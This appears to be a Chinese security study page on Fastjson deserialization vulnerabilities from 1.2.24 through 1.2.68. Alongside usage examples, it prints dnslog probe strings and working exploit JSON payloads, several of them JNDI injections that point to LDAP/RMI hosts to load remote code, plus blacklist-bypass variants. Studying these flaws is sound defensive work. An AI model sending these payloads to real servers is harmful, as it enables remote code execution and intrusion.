跳转至

Fastjson 反序列化漏洞

1088 个字 97 行代码 预计阅读时间 7 分钟

Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBeanFastjson 不但性能好而且 API 简单易用,所以用户基数巨大,一旦爆出漏洞其影响对于使用了 Fastjson Web 应用来说是毁灭性的。

Fastjson 简介

主要序列化和反序列化方法

  • JSON.toJSONString Java 对象转换为 json 对象,序列化的过程。
  • JSON.parseObject/JSON.parse json 对象重新变回 Java 对象;反序列化的过程
public class user {
    public String username;
    public String password;

    public user(String username, String password) {
        this.username = username;
        this.password = password;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }
}
package cc.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Fastjson {
    public static void main(String[] args) {
        user user = new user("Bob", "123.com");

        //序列化方式--指定类和不指定类
        String json1 = JSON.toJSONString(user);
        System.out.println(json1);//{"password":"123.com","username":"Aur0ra.sec"}
        String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(json2);//{"@type":"com.aur0ra.sec.fastjson.User","password":"123.com","username":"Aur0ra.sec"}



        //反序列化
        //默认解析为JSONObject
        System.out.println(JSON.parse(json1));      //{"password":"123.com","username":"Bob"}
        System.out.println(JSON.parse(json1).getClass().getName());    //com.alibaba.fastjson.JSONObject

        //依据序列化中的@type进行自动反序列化成目标对象类型
        System.out.println(JSON.parse(json2));      //com.aur0ra.sec.fastjson.user@24b1d79b
        System.out.println(JSON.parse(json2).getClass().getName()); //com.aur0ra.sec.fastjson.user

        //手动指定type,反序列化成目标对象类型
        System.out.println(JSON.parseObject(json1, user.class)); //com.aur0ra.sec.fastjson.user@68ceda24
        System.out.println(JSON.parseObject(json1, user.class).getClass().getName()); //com.aur0ra.sec.fastjson.user

    }
}

一些值得注意的点:

  1. JSON.toJSONString进行序列化时,可以设置将对象的类型也作为序列化的内容
  2. 当对字符串进行反序列化操作时
    • 序列化字符串中有 @type 则会按照该类型进行反序列化操作
    • 没有 @type 默认返回 JSONObject 对象(一种字典类型数据存储)
    • 没有 @type,但又想反序列化成指定的类对象时,需要通过JSON.parseObject()同时传入该类的 class 对象,才能反序列成指定的对象。
    • JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致
  3. 反序列化的对象必须具有默认的无参构造器和 get|set 方法,反序列化的底层实现就是通过无参构造器和 get .set 方法进行的,具体检查逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  4. 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  5. fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 会忽略名称中的_|- , 1.2.36 版本及后续版本还可以支持同时使用 _ - 进行组合混淆。
  6. fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码

漏洞分析

在对渗透点判断是否存在 fastjson 反序列化时,可以利用 dnslog 进行漏洞验证

// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72
String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://xx.dnslog.cn\"}:\"summer\"}";

// 全版本支持 fastjson <= 1.2.72
String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";

1.2.24

2017 3 15 日,fastjson 官方主动爆出在 1.2.24 及之前版本存在远程代码执行高危安全漏洞

TemplatesImpl 反序列化

TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化。

利用参考 TemplatesImpl 反序列化

exp
{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAADQA...CJAAk="],
    "_name": "su18",
    "_tfactory": {},
    "_outputProperties": {},
}

JdbcRowSetImpl 反序列化

JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl ,这条漏洞利用链是 javax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。其中setAutoCommit() 方法在 this.conn 为空时,将会调用 this.connect() 方法。

alt text

方法里调用了 javax.naming.InitialContext#lookup() 方法,参数从成员变量 dataSource 中获取。

alt text

因此 exp

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:8888/RCE",
    "autoCommit":true
}

1.2.25

在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

然而在loadClass 类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [L; 字符,并最终会在反序列化时忽略掉描述符。因此可以通过在类名前加上[L; 来绕过黑名单(要求开启 autoType

exp
{
    "@type":"[com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:8888/RCE",
    "autoCommit":true
}

1.2.42

1.2.42 版本新增了校验机制,如果输入类名的开头和结尾是 l ; 就将头和尾去掉,再进行黑名单验证。

所以绕过需要在类名外部嵌套两层描述符即可。

1.2.45

在先前的版本修复了对字符串的检查,因此字符串绕过无法使用。

Fastjson 1.2.45 被爆出存在黑名单绕过

利用条件:

  1. 目标服务端存在 mybatis jar 包。
  2. 版本需为 3.x.x ~ 3.5.0
  3. autoTypeSupport 属性为 true 才能使用fastjson >= 1.2.25 默认为 false
exp
{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:8888/RCE"
    }
}

1.2.47

由于 loadClass 中默认 cache 设置为 true,因此可以使用java.lang.CLass把获取到的类缓存到 mapping 中,然后从缓存中获取com.sun.rowset.JdbcRowSetlmpl类,绕过黑名单机制。该漏洞利用无需开启 autoType

exp
{
    "a": {
          "@type": "java.lang.Class",
          "val": "com.sun.rowset.JdbcRowSetImpl"
      },
    "b": {
          "@type": "com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName": "rmi://x.x.x.x:1098/jndi",
          "autoCommit": true
    } 
}

1.2.68

checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。

参考 fastjson1.2.68

参考资料

Fastjson 反序列化漏洞


最后更新: 2024年8月19日 17:59:19
创建日期: 2024年7月26日 18:50:27

评论